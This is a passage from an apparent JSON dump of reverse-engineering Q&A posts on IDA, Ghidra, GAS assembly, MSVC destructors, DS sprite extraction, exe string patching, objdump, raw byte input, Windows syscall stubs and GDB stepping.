function.</p>\n\n<p>Answering the second part of your question, you can customize breakpoints in IDA using some Python skills. You can create a conditional breakpoint for example and disable the break action as you have done. Whenever you hit this breakpoint, you can log the content of <em>eip</em> to find which instruction or wherein the code is this data accessed. If it is before this function, just log the data in, if it is after, you can enable break action again.</p>\n\n<p>For that you need to consider some matters:</p>\n\n<ol>\n<li>You have to practice IDA python APIs. e.g. for getting a register content you have to call GetRegValue. <a href=\"https://www.hex-rays.com/products/ida/debugger/scriptable/\" rel=\"nofollow noreferrer\">This</a> will help you to begin. <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/\" rel=\"nofollow noreferrer\">Here</a> also you can find the list of all IDA python APIs.</li>\n<li>If you set a breakpoint on a data that is passed to a lot of windows APIs such as crypt APIs, you will hit this breakpoint within a lot of library codes. Always look at the address space and if you are not inside your main program, skip them to avoid reversing library functions that are irrelevant to your main program.</li>\n</ol>\n"
    },
    {
        "Id": "24708",
        "CreationDate": "2020-04-15T12:25:40.230",
        "Body": "<p>Ghidra is renaming <code>EAX</code> as <code>param_1</code>. Why is this happening? I find it very confusing since it is clearly not a parameter and different uses of <code>EAX</code> are named as if they held the same value.</p>\n\n<p><a href=\"https://i.stack.imgur.com/HxFMX.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HxFMX.jpg\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Ghidra renaming EAX",
        "Tags": "|ghidra|",
        "Answer": "<p>Ghidra renamed EAX as <code>param_1</code> because it is a parameter for the current function. This calling convention is similar to <code>fastcall</code>, although not quite the same. Selecting how to pass arguments to functions is up to the compiler, so long as the code belong to the same program.</p>\n\n<p>At the beginning of your code, <code>param_1</code> (EAX) contains a pointer to a <code>OLECHAR</code> object. Later, it is saved to <code>local_8</code>.</p>\n\n<p><code>@2af4 MOV param_1,EDI</code>. This sets the first parameter to the <em>next</em> call, @2af6.</p>\n\n<p>Because EAX is used as parameter for many other functions inside your code, it may be correct to name it <code>param_x</code> even when the value is clearly not the same. On 2b04, the saved original parameter is loaded into EAX, again, being the first parameter for the <em>next</em> call.</p>\n\n<p>Personally, I like to use register names and not renaming them, but what you see here does make sense.</p>\n\n<p>Edit: You can see that when calling <em>external</em> functions, like <code>FindResourceW</code> the calling convention changes and <code>param_1</code> is now on the stack. This is where it is shown in Green rather than Yellow.</p>\n"
    },
    {
        "Id": "24713",
        "CreationDate": "2020-04-15T17:40:31.247",
        "Body": "<p>Let's suppose I have two programs in assembly code. And I want to check if they both came from the same source code, but one was compiled with optimizations. Is there a tool that can do this? Or some general process that can verify this?</p>\n",
        "Title": "Way to check if two assembly programs (one possibly compiled with optimizations) come from the same C source code?",
        "Tags": "|assembly|compiler-optimization|",
        "Answer": "<p>While you can potentially prove that two pieces of binary code are <em>equivalent</em> (i.e. they produce the same results given the same input), this does not by itself mean that the source code was the same. For example, the following two snippets will likely be compiled to the same binary even though the source is different:</p>\n\n<pre><code> int f(int x)\n {\n  return x+1;\n }\n\n int g(int y)\n {\n  return ++y;\n }\n</code></pre>\n\n<p>(check on <a href=\"https://godbolt.org/\" rel=\"nofollow noreferrer\">https://godbolt.org/</a>)</p>\n\n<p>That said, if you do want to prove that (for example) two functions are equivalent, you can try many different approaches, e.g.:</p>\n\n<ul>\n<li>manual comparison of assembly code/binary diffing (may not work if very different compilers or optimizations settings were used)</li>\n<li>decompile both functions and compare outputs (same caveat)</li>\n<li>if the input state is not huge, you can run both functions with all possible inputs and compare outputs</li>\n<li>in some cases things like symbolic execution or <a href=\"https://yurichev.com/news/20200410_CBMC_etc/\" rel=\"nofollow noreferrer\">SMT solvers</a> can be applied</li>\n</ul>\n\n<p>A more generic problem of detecting authorship of arbitrary code is called \"code provenance\" and there are several papers on the topic, e.g.:</p>\n\n<ul>\n<li><em>Who Wrote This Code? Identifying the Authors of Program Binaries</em> (Nathan Rosenblum et al.)</li>\n<li><em>BinPro: A Tool for Binary Source Code Provenance</em> (Dhaval Miyani et al.)</li>\n</ul>\n"
    },
    {
        "Id": "24715",
        "CreationDate": "2020-04-15T18:13:29.463",
        "Body": "<p>I have an asm program made with intel syntax. In this program, I am using this syntax <code>jz $+1</code> from INTEL (+gcc), that means that I jump into the <code>jz</code> instruction (which is 2 bytes). I jump 1 byte further the current instruction.\nI am trying to find what is the correct syntax to do the same thing in GAS AT&amp;T syntax, but I can't find the information.\nDoes anyone know that?</p>\n",
        "Title": "What is the equivalent of the dollar sign from jmp $+1 in GAS syntax?",
        "Tags": "|assembly|intel|gas|",
        "Answer": "<p>you can use intel syntax if you prefer in gas and use $+1 to jump into the middle of the instruction </p>\n\n<p>$ cat foo.s</p>\n\n<pre><code>.intel_syntax noprefix\n.global start\n        _start:\n        jz $+1\n        .byte 0x25,0x45,0x33,0x40,0x00\n</code></pre>\n\n<p>assemble </p>\n\n<pre><code>$ as -o foo.o foo.s\n</code></pre>\n\n<p>disassemble </p>\n\n<pre><code>$ objdump.exe -d foo.o\nfoo.o:     file format pe-x86-64\nDisassembly of section .text:\n0000000000000000 &lt;_start&gt;:\n   0:   74 ff                   je     1 &lt;_start+0x1&gt;\n   2:   25 45 33 40 00          and    $0x403345,%eax\n   7:   90                      nop\n   8:   90                      nop\n</code></pre>\n\n<p>link </p>\n\n<pre><code>$ ld -m i386pep -o foo foo.o\n</code></pre>\n\n<p>debug</p>\n\n<pre><code>$ gdb ./foo\nGNU gdb (GDB) 8.2.1\n\n(gdb) break _start\nBreakpoint 1 at 0x100401000\n(gdb) r\nStarting program: \n[New Thread 7876.0x2614]\n\nBreakpoint 1, 0x0000000100401000 in __rt_psrelocs_start ()\n(gdb) x/2i $rip\n=&gt; 0x100401000 &lt;__rt_psrelocs_start&gt;:\n    je     0x100401001 &lt;__rt_psrelocs_start+1&gt;\n   0x100401002 &lt;__rt_psrelocs_start+2&gt;: and    $0x403345,%eax\n\n(gdb) si\n0x0000000100401001 in __rt_psrelocs_start ()\n(gdb) x/2i $rip\n=&gt; 0x100401001 &lt;__rt_psrelocs_start+1&gt;:\n    jmpq   *0x403345(%rip)        # 0x10080434c\n\n   0x100401007 &lt;__rt_psrelocs_start+7&gt;: nop\n(gdb)\n</code></pre>\n"
    },
    {
        "Id": "24721",
        "CreationDate": "2020-04-16T03:16:59.317",
        "Body": "<p>I'm reversing a program which I assume was compiled with MSVC. It's seeming like the first entry in each vtable is the class' destructor. However, when I look at the disassembly and decompilation, it seems like the destructors all take a second argument, and that the object's memory is only freed if that second argument is nonnull.</p>\n\n<p>What is the purpose for this second argument? I would think that, if it's a destructor, the class should always be destructed and its memory freed. So why the second argument which could prohibit the memory from being freed up?</p>\n",
        "Title": "MSVC Destructors with 2 Arguments",
        "Tags": "|msvc|",
        "Answer": "<p>These wrappers are used in classes with virtual destructors to cover two situations:</p>\n\n<ol>\n<li><p>ensure that the correct <code>operator delete</code> is called after the object's destruction via <code>delete pClass;</code> statement</p></li>\n<li><p>deletion of arrays allocated via <code>new Class[N]</code> expression in the <code>delete [] class_array;</code> statement to ensure the correct number of items gets deleted using the correct <code>operator delete</code> and handle potential exceptions during the process</p></li>\n</ol>\n\n<p>From <a href=\"http://www.openrce.org/articles/full_view/23\" rel=\"nofollow noreferrer\">my old article</a>:</p>\n\n<blockquote>\n  <p>When class has a virtual destructor, compiler generates a helper\n  function - deleting destructor. Its purpose is to make sure that a\n  proper <code>operator delete</code> gets called when destructing a class.\n  Pseudo-code for a deleting destructor looks like following: </p>\n\n<pre><code>virtual void * A::'scalar deleting destructor'(uint flags)\n{\n  this-&gt;~A();\n  if (flags&amp;1) A::operator delete(this);\n};\n</code></pre>\n  \n  <p>The address of this function is placed into the vftable instead of the\n  destructor's address. This way, if another class overrides the virtual\n  destructor, <code>operator delete</code> of that class will be called. Though in\n  real code <code>operator delete</code> gets overriden quite rarely, so usually\n  you see a call to the default delete().</p>\n  \n  <p>Sometimes compiler can also\n  generate a <em>vector deleting destructor</em>. Its code looks like this: </p>\n\n<pre><code>virtual void * A::'vector deleting destructor'(uint flags)\n{\n  if (flags&amp;2) //destructing a vector\n  {\n    array = ((int*)this)-1; //array size is stored just before the this pointer\n    count = array[0];\n    'eh vector destructor iterator'(this,sizeof(A),count,A::~A);\n    if (flags&amp;1) A::operator delete(array);\n  }\n  else {\n    this-&gt;~A();\n    if (flags&amp;1) A::operator delete(this);\n  }\n};\n</code></pre>\n</blockquote>\n\n<p>For more details see also <a href=\"http://www.openrce.org/articles/files/jangrayhood.pdf\" rel=\"nofollow noreferrer\"><em>C++: Under the Hood</em></a> by Jan Gray, one of the main developers of Visual C++.</p>\n\n<p>I also recommend you to make some classes with custom operators new/delete and check the generated code.</p>\n"
    },
    {
        "Id": "24728",
        "CreationDate": "2020-04-17T07:27:39.933",
        "Body": "<p>I wrote the following small C program and you can also see the stack in the screenshot.<a href=\"https://i.stack.imgur.com/0JLE8.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0JLE8.png\" alt=\"C stack\"></a> My question is twofold:</p>\n\n<ol>\n<li>How come there are entire rows of other data between the 3 stack strings?</li>\n<li>Why is my first stack string actually on top of the stack? I would think if I had 3 stack strings in succession, the string coming first in the C program would be at the <em>bottom</em> of the stack, and the last string pushed would be at the top.</li>\n</ol>\n",
        "Title": "Why does this x64 stack have other bytes and seems to be in reverse order?",
        "Tags": "|c|gdb|stack|",
        "Answer": "<blockquote>\n  <p>How come there are entire rows of other data between the 3 stack strings?</p>\n</blockquote>\n\n<p>First of all, in <code>x64</code> Linux code, the stack should be aligned to <code>16</code> bytes before any function call, so you can expect that <code>rsp</code> will be aligned as such in compiler generated code.</p>\n\n<p>Now, it's just a compiler's decision how many bytes it will use for item allocation. In GCC, for instance, you can set the alignment of stack items to any power <code>n</code> of <code>2</code>, using <code>-mpreferred-stack-boundary=n</code> option, according to <a href=\"https://stackoverflow.com/questions/1061818/stack-allocation-padding-and-alignment\">accepted answer</a>.</p>\n\n<blockquote>\n  <p>Why is my first stack string actually on top of the stack? I would think if I had 3 stack strings in succession, the string coming first in the C program would be at the bottom of the stack, and the last string pushed would be at the top.</p>\n</blockquote>\n\n<p>Again, it's a compiler's decision how it will organise local variables on the stack as long as it produces code compliant with <code>C</code> standard. I agree, that the natural way is to put the arguments in order of declarations on the stack, but as you see, you cannot assume this in general. If you want to force this order, you can put them in a struct, according to <a href=\"https://stackoverflow.com/questions/1102049/order-of-local-variable-allocation-on-the-stack/1102165#1102165\">this answer</a>.</p>\n"
    },
    {
        "Id": "24739",
        "CreationDate": "2020-04-18T02:40:07.880",
        "Body": "<p>1980s arcade video games generally had multiple ROM chips.</p>\n\n<p>I suppose these often mapped into a single address space and often may have been bank switched in and out of sections of a single address space, and often a mix of the two.</p>\n\n<p>Conceptually either should be possible in Ghidra's Memory Map window, using \"Overlay\" with \"File Bytes\". Even though I can import a second file into a window that already has a file open, going into the Memory Map, even though there's a dropdown menu for \"File Bytes\", it's only populated with one file.</p>\n\n<p>Is there some way I haven't been able to find that lets me load two ROMs into a single address space? It's certainly useful for many other scenarios than just old arcade games.</p>\n",
        "Title": "Is it possible to load multiple files into a single Ghidra memory map?",
        "Tags": "|ghidra|",
        "Answer": "<p>Yes it is!</p>\n\n<p>After puzzling over this for a day and a bit I figured it out after posting the question here.</p>\n\n<p>Instead of using <strong>File/Import</strong> use <strong>File/Add To Program</strong></p>\n\n<p>From there it seems to work as expected.</p>\n"
    },
    {
        "Id": "24742",
        "CreationDate": "2020-04-18T08:13:04.007",
        "Body": "<p>I am currently trying to rip the sprites from an Nintendo DS game called Cookie Shop - Create Your Dream Shop but they are all in _LZ.bin files.</p>\n\n<p>When I've unpacked its compression, I could see lots of files titles spr.bin and pal.bin\n<a href=\"https://i.stack.imgur.com/KExdL.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KExdL.png\" alt=\"Figure 1: The file list after unpacking the _LZ.bin\"></a></p>\n\n<p>I know that these files are the sprites as well as their corresponding palettes but I had zero idea to open them.</p>\n\n<p>I tried using CrystalTile2, but all it came out was garbled mess, both the palette and sprite.</p>\n\n<p>Here are the hexadecimals for the palettes and sprites respectively.\n<a href=\"https://i.stack.imgur.com/CpHSe.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CpHSe.png\" alt=\"Figure 2: Palette hex\"></a>\n<a href=\"https://i.stack.imgur.com/hhuCN.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hhuCN.png\" alt=\"Figure 3(1): Sprite hex\"></a>\n<a href=\"https://i.stack.imgur.com/PdfoB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PdfoB.png\" alt=\"Figure 3(2): Sprite hex (continued)\"></a></p>\n\n<p>Now this is what the sprite and pallete looked like in NO$GBA.\n<a href=\"https://i.stack.imgur.com/Xkih1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Xkih1.png\" alt=\"Figure 4: Output sprite\"></a>\n<a href=\"https://i.stack.imgur.com/GVQcP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/GVQcP.png\" alt=\"Figure 5: Output palette\"></a></p>\n\n<p>Pallette table OBP C (from left to right, RGB Format)\n001010\n0F0604\n130B09\n191311\n1D1816\n1A0C10\n1C1013\n1F1518\n1F1C1D\n1F1F1F\n0F1808\n151E0D\n130508\n1A0A0F\n1D0F12\n000000 (not used)</p>\n\n<p>Also, the max color hex is 1F, not FF.\n001010 is used as a transparency filter if I assume.</p>\n\n<p>I also found sprites that were never used in the game, and I went to change the names of the characters, but it ended up freezing the game after I pressed continue.</p>\n\n<p>Is it possible to extract the sprites? Because I want to use it to create a sprite sheet, as well as creating a story using these characters.</p>\n",
        "Title": "Trying to rip the sprites of this game",
        "Tags": "|binary|binary-format|binary-editing|",
        "Answer": "<p>Both files are prepended with a 4 bytes large number; apparently the total size of the data that follows. I am ignoring it because the file sizes seem fixed. (Also, for the images the <em>other</em> important data, its width and height, are not stored in the file.)</p>\n\n<h2>Palette</h2>\n\n<p>The palette is a 5 bits per channel BGR, with the highest bit unused. The two bytes are stored in little-endian order. Converting to True Color RGB is therefore a matter of bit shifting; you end up with 16 RGB color triplets.</p>\n\n<h2>Image</h2>\n\n<p>The image is stored in 16 x 16 blocks, each 8 x 8 pixels, and every two consecutive pixels are packed into a single byte, right pixel first. Every pixel value ranges from 0..15 and maps immediately to the palette.</p>\n\n<p>To unpack a single 8x8 block, all it takes is</p>\n\n<pre><code>for y in range(8):\n    for x in range(4):\n        print (img[4*y+x]])\n</code></pre>\n\n<p>which yields a series of 2-pixel data. I found it more convenient, below, to unpack each two nibbles immediately into 2 separate pixels; then it's a matter of looping over the right x and y axis to reassemble the entire image in a coherent, linear, 128x128 pixel bitmap.</p>\n\n<p>The code below then stores the RGB values for each pixel in a True-color PNG image; alternatively, you could save it as a palettized PNG image as well (or really any other image format you'd like).</p>\n\n<h2>Python 3.x code</h2>\n\n<p>This code needs <a href=\"https://pypi.org/project/pypng/\" rel=\"nofollow noreferrer\"><code>pypng</code></a>. Adjust the fixed part of the path to your folder structure -- it should end with a slash. Save as <code>cookie2png.py</code> and call from a command line with</p>\n\n<pre><code>python cookie2png.py Rose/bu_strawberry_LZ.bin\\bu_strawberry_anger\n</code></pre>\n\n<p>i.e., leave off the parts <code>_pal.bin</code> and <code>_spr.bin</code> so the script can find them on its own.</p>\n\n\n\n<pre><code>import sys,png\nfrom struct import unpack\n\npath = \"/Sprites/Character files/\"\n# base = 'bu_strawberry2'\nbase = sys.argv[1]\n\nwith open (path+base+'_pal.bin', 'rb') as p:\n    pal = p.read()\n\npal = unpack('&lt;I16H', pal)[1:]\npal = [bin(p)[2:].zfill(15) for p in pal]\nrgb = [(int(p[10:15]+p[10:13],2),int(p[5:10]+p[5:8],2),int(p[0:5]+p[0:3],2)) for p in pal]\nprint ('rgb palette', *['%02x%02x%02x' % (r,g,b) for r,g,b in rgb])\n\nwith open (path+base+'_spr.bin', 'rb') as i:\n    img = i.read()\n\n# Strip header\nimg = img[4:]\n# Convert nibbles to bytes\nimg = [[b &amp; 0x0f,b &gt;&gt; 4] for b in img]\n# Unpack list\nimg = [b for a in img for b in a]\n\n# Linearize image\ntarget = []\nfor y in range(16):\n    for yy in range(8):\n        for x in range(16):\n            for xx in range(8):\n                target.append(rgb[img[16*64*y+64*x+8*yy+xx]])\n\n# Convert from palettized into True color\ntarget = [color for rgb in target for color in rgb]\n\n# Split into rows, required by pypng\ntarget = [target[i:i + 3*128] for i in range(0, len(target), 3*128)]\n\nw = png.Writer(128, 128, greyscale=False, bitdepth=8)\nwith open(path+base+'.png', 'wb') as f:\n    w.write(f, target)\n</code></pre>\n\n<p>and the results are as expected. Here is your <code>bu_strawberry</code>, and a smattering of interesting others:</p>\n\n<p><a href=\"https://i.stack.imgur.com/kQKFz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kQKFz.png\" alt=\"bu_strawberry\"></a> <a href=\"https://i.stack.imgur.com/JFd1e.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/JFd1e.png\" alt=\"bu_bitter\"></a> <a href=\"https://i.stack.imgur.com/ACh2i.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ACh2i.png\" alt=\"bu_crunchy\"></a>  <a href=\"https://i.stack.imgur.com/jO7i3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jO7i3.png\" alt=\"bu_maccha\"></a> <a href=\"https://i.stack.imgur.com/OMeQX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OMeQX.png\" alt=\"bu_opera\"></a></p>\n"
    },
    {
        "Id": "24746",
        "CreationDate": "2020-04-18T17:00:46.353",
        "Body": "<p>I would like to replace some hard-coded strings in a compiled exe (in .data) which is in chinese (with no possibility to put it in other languages).\nI managed to replace strings in hexadecimal with other ones of same lenght, but I face some issues of course when I want to replace strings with longer ones...First option - overwrite - will overwrite next bytes, and second option - insertion - will mess up my .exe probably because of his structure and so one.</p>\n\n<p>What possibilities do I have ?</p>\n\n<p>Already tried radar2;ResEdit; ResTuner which founds most of strings (string tables) but not the ones which needs interaction in the exe. For example if I click on a button a dialog appears, which is not found by those tools. That's why no I'm in need to replace those strings directly with an hexadecimal editor.</p>\n\n<p>After some reasearch it seems that those softwares found string in .rsrc but not in .data</p>\n\n<p><strong>EDIT1</strong></p>\n\n<p>Now I succeed. It seems that there is some kind of check of string length or something like this but not on all strings...</p>\n\n<p>Here is a replaced string with his correct size:\n<a href=\"https://i.stack.imgur.com/qZVd1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qZVd1.png\" alt=\"enter image description here\"></a>\nant it's function:\n<a href=\"https://i.stack.imgur.com/SoYUb.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SoYUb.png\" alt=\"enter image description here\"></a>\nHere another with length issues:</p>\n\n<p><a href=\"https://i.stack.imgur.com/M23GE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/M23GE.png\" alt=\"enter image description here\"></a>\nand it's local function: \n<a href=\"https://i.stack.imgur.com/bqHPM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bqHPM.png\" alt=\"enter image description here\"></a>\nHere what I replaced :\n<a href=\"https://i.stack.imgur.com/pNTP8.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pNTP8.png\" alt=\"enter image description here\"></a></p>\n\n<p>It seems that ther is probably a check of string length somewhere...where do I need to give an eye ?\nThanks!</p>\n\n<p><strong>EDIT2</strong>\nHere sub_41A974 (I tried to understand what this fct is doing but I still don't understand:\n<a href=\"https://i.stack.imgur.com/nwmZZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nwmZZ.png\" alt=\"enter image description here\"></a></p>\n\n<p>The fct sub_4028E0 sets font style :(1/2)</p>\n\n<p><a href=\"https://i.stack.imgur.com/XiCl9.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XiCl9.png\" alt=\"enter image description here\"></a></p>\n\n<p>(2/2):</p>\n\n<p><a href=\"https://i.stack.imgur.com/RKUUE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/RKUUE.png\" alt=\"enter image description here\"></a></p>\n\n<p><strong>EDIT3</strong></p>\n\n<p>Seems that doesn't have to deal with any of this. Directly after started the software, my data is trunked (Windbg comfirmed it I only started and exit the software) :\n<a href=\"https://i.stack.imgur.com/nRNTE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nRNTE.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Replace string in hexa with a longer one in .bin without destroying the structure (in .data)",
        "Tags": "|binary-analysis|radare2|executable|strings|",
        "Answer": "<p><em>Rewriting my answer:</em></p>\n\n<p>The resource editors (like ResTuner) find strings in resources, generally in the .rsrc section. This section is very easy to edit because it contains a tree of pointer/size to data. If you want to edit a string and you do not have enough space for the longer string - you can move it to some other address and fix the pointer and size.</p>\n\n<p>If you <em>can</em> find the strings, but they are in .data (or some other section) then they are referenced in code by their offset. If you are lucky, the offsets are hardcoded in the program (i.e. you can see xrefs in RE tools), you can modify them. In this case, write your longer string where you have enough space, like at the end of the section and modify the hard-coded offset to point to the new area.</p>\n\n<p>Resizing and moving sections around the binary files is also possible, in case you don't have enough space at the section end.</p>\n\n<p>If the offsets to your strings are not hardcoded (i.e. they have no xrefs in RE tools) then they are dynamic and you will have to dig deeper in the code to find where they are referenced.</p>\n"
    },
    {
        "Id": "24750",
        "CreationDate": "2020-04-19T02:51:15.780",
        "Body": "<p>So I have started to digging in malware analysis and I came across with some malware samples that I couldn't disassembly with objdump. More specifically I use</p>\n\n<pre><code>objdump -dS /path/to/malware\n</code></pre>\n\n<p>and I got the output</p>\n\n<pre><code>malwareFile: file format pei-i386\nobjdump: Reading section .text failed because: File truncated \n</code></pre>\n\n<p>With a little search I found</p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/6598/\">Unable to dump malware assembly using objdump</a></p>\n\n<p>So I use</p>\n\n<pre><code>objdump -b binary -D -m i386 /path/to/malware\n</code></pre>\n\n<p>and I got its mnemonic codes but I cannot understand what happen even after reading from the Linux man page. Does with this way, the data, bss and code segment be treated as a whole? Can I really depend on this solution for my research?</p>\n",
        "Title": "What does objdump -b binary means?",
        "Tags": "|disassembly|malware|objdump|",
        "Answer": "<p>So, <code>objdump</code>'s <code>-d</code> will only disassemble <em>known</em> code sections, usually <code>.text</code> and possibly other sections marked executable. If the section table is corrupted or missing, this will fail. </p>\n\n<p>However, the section table is <a href=\"https://github.com/BR903/ELFkickers/tree/master/sstrip\" rel=\"nofollow noreferrer\">not actually required</a> for a file to be executable by the OS, so it can be removed or modified without affecting the file's behavior. In such cases, you can use <code>-b binary -D</code> to tell <code>objdump</code> to disassemble <strong>all</strong> bytes in the file, ignoring any file structure. This will try to disassemble everything, including <em>file headers</em>, <em>data sections</em>, <em>string tables</em> etc. You will need to make sense out of the resulting disassembly by distinguishing actual code from nonsense produced by disassembling unrelated data. Alternatively, you can figure out the actual executable parts of the file and <a href=\"https://reverseengineering.stackexchange.com/a/6604/60\">disassemble just that</a>.</p>\n"
    },
    {
        "Id": "24755",
        "CreationDate": "2020-04-19T08:48:57.430",
        "Body": "<p>I want to pass raw bytes to a (C) program using the Linux Bash shell. I find that when I try to pass for example \"\\x00\\xFF\\xAB\", the program receiving the input actually gets the <strong>ASCII character codes</strong> for the string, rather than interpret them as the raw bytes.</p>\n\n<p>One way I've seen people accomplish this is by calling <code>python -c 'print(\"\\x00\\xFF\\xAB\")'</code> and piping output to the program under test. Is there a way to do this without using Python by just using the Bash shell?</p>\n",
        "Title": "What are some ways to pass raw bytes to a program via the Linux terminal?",
        "Tags": "|binary-analysis|binary|fuzzing|",
        "Answer": "<p>If you need null bytes, you can write them to a file and use the file as input for the program, e.g.:</p>\n<blockquote>\n<p>echo -e -n &quot;\\x00\\xFF\\xAB&quot; &gt; file.bin</p>\n<p>program &lt; file.bin</p>\n</blockquote>\n<p>You can use also use <a href=\"https://linux.die.net/man/1/xxd\" rel=\"noreferrer\"><code>xxd</code></a> to convert hex to binary:</p>\n<blockquote>\n<p>echo &quot;00 FF AB&quot; | xxd -r -p | program</p>\n</blockquote>\n"
    },
    {
        "Id": "24758",
        "CreationDate": "2020-04-19T10:03:27.073",
        "Body": "<p>I've been reading about the way syscalls are called in windows.<br>\nThe general theme in all the articles I read is:<br>\n64bit- called inside ntdll<br>\n32bit- from ntdll jumping to KiFastSystemcall<br>\nbut when I opened IDA with ntdlls from both 64 and 32 bit to verify these articles this is what I saw:<br>\n(32bit)</p>\n\n<pre><code>NtCreateFile proc near\nmov     eax, 55h        ; syscall num\nmov     edx, offset j_Wow64Transition\ncall    edx ; weird stub is called instead of KiFastSystemcall.\n            ; I couldn't find anything about it.perhaps a wrapper around KiFastSystemcall?\n\nretn    2Ch\nNtCreateFile endp\n</code></pre>\n\n<p>(64bit)</p>\n\n<pre><code>NtCreateFile proc near\nmov     r10, rcx        ; NtCreateFile\nmov     eax, 55h\ntest    byte ptr ds:7FFE0308h, 1 ; some test to decide wether to use int 0x2E or syscall?\n                                 ; I don't know why int 0x2E be used. I thought it causes overhead?\njnz     short loc_18009CB15\nsyscall                 \nretn\nloc_18009CB15:          \nint     2Eh             \nretn\nNtCreateFile endp\n</code></pre>\n\n<p>if anyone knows why the system calls are called like this I would love to know.<br>\nto summarize:<br>\n(32 bit) why is j_Wow64Transition there instead of KiFastSystemcall?<br>\n(64 bit) what is being compared and why?<br>\nthanks.               </p>\n",
        "Title": "Windows - syscalls being called in a strange way?",
        "Tags": "|ida|windows|kernel-mode|kernel|system-call|",
        "Answer": "<p>I would add information to the first answer. </p>\n\n<p>The switch of the mode from Wow64 to 64bit, aka \"Heaven's Gate\", is in <code>wow64cpu.dll</code>. <code>offset j_Wow64Transition</code> is a part of <code>wow64cpu.dll</code>.</p>\n\n<p><a href=\"https://www.slideshare.net/YardenShafir/jumping-into-heavens-gate\" rel=\"nofollow noreferrer\">These slides</a> helps you to understand the procedure of executing 64bit syscall from Wow64 process with assembly codes as a example.</p>\n"
    },
    {
        "Id": "24759",
        "CreationDate": "2020-04-19T10:12:23.617",
        "Body": "<p><a href=\"https://i.stack.imgur.com/jfH22.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jfH22.png\" alt=\"enter image description here\"></a>My question is, when i dont use any breakpoint it show the message saying \"You made it, now keygen me!\", but when i put a breakpoint in the main, or any other place it will show a message about __libc_start_main, and will not show the message saying \"You made it, now keygen me!\", why this happens because of the breakpoint?</p>\n\n<p><a href=\"https://i.stack.imgur.com/vhlcK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vhlcK.png\" alt=\"when i run with break\"></a><a href=\"https://i.stack.imgur.com/ceaGq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ceaGq.png\" alt=\"When i run without break\"></a></p>\n",
        "Title": "GDB disassembly - breakpoint problem",
        "Tags": "|disassembly|gdb|",
        "Answer": "<p>From <a href=\"https://sourceware.org/gdb/onlinedocs/gdb/Continuing-and-Stepping.html\" rel=\"nofollow noreferrer\">GDB documentation</a>:</p>\n<blockquote>\n<p>Warning: If you use the step command while control is within a function that was compiled without debugging information, execution proceeds until control reaches a function that does have debugging information.</p>\n</blockquote>\n<p>and:</p>\n<blockquote>\n<p><code>next [count]</code></p>\n<p>Continue to the next source line in the current (innermost) stack frame. This is similar to step, but function calls that appear within the line of code are executed without stopping.</p>\n</blockquote>\n<p>The file you are analysing was not compiled with debug information - GDB in fact tells you that by:</p>\n<p>&quot;<em>Single stepping until exit from function <code>main</code>, which has no line information.</em>&quot;</p>\n<p>According to the same GDB docs, to step over one assembly line, which, I assume is what you want to do, you can use <code>nexti</code> (<code>ni</code>) command.</p>\n"
    },
    {
        "Id": "24792",
        "CreationDate": "2020-04-22T15:19:28.897",
        "Body": "<p>I'm curious if anyone has any insight on how I can manipulate or mod the code for the built-in software of a digital piano (specifically the Kawai ES8 - or really any digital piano with a display screen). Like if I wanted to change the default chord progressions for the backing tracks, etc.</p>\n\n<p>Note that I don't want to connect it to my computer and read the MIDI data (latency issues) - I want to be able to mod the built-in code directly on the digital piano. I'm getting no luck googling so wanted to see if anyone could point me in the right direction.</p>\n\n<p>Much appreciated!</p>\n",
        "Title": "How can I mod the built-in software of my digital piano?",
        "Tags": "|patching|",
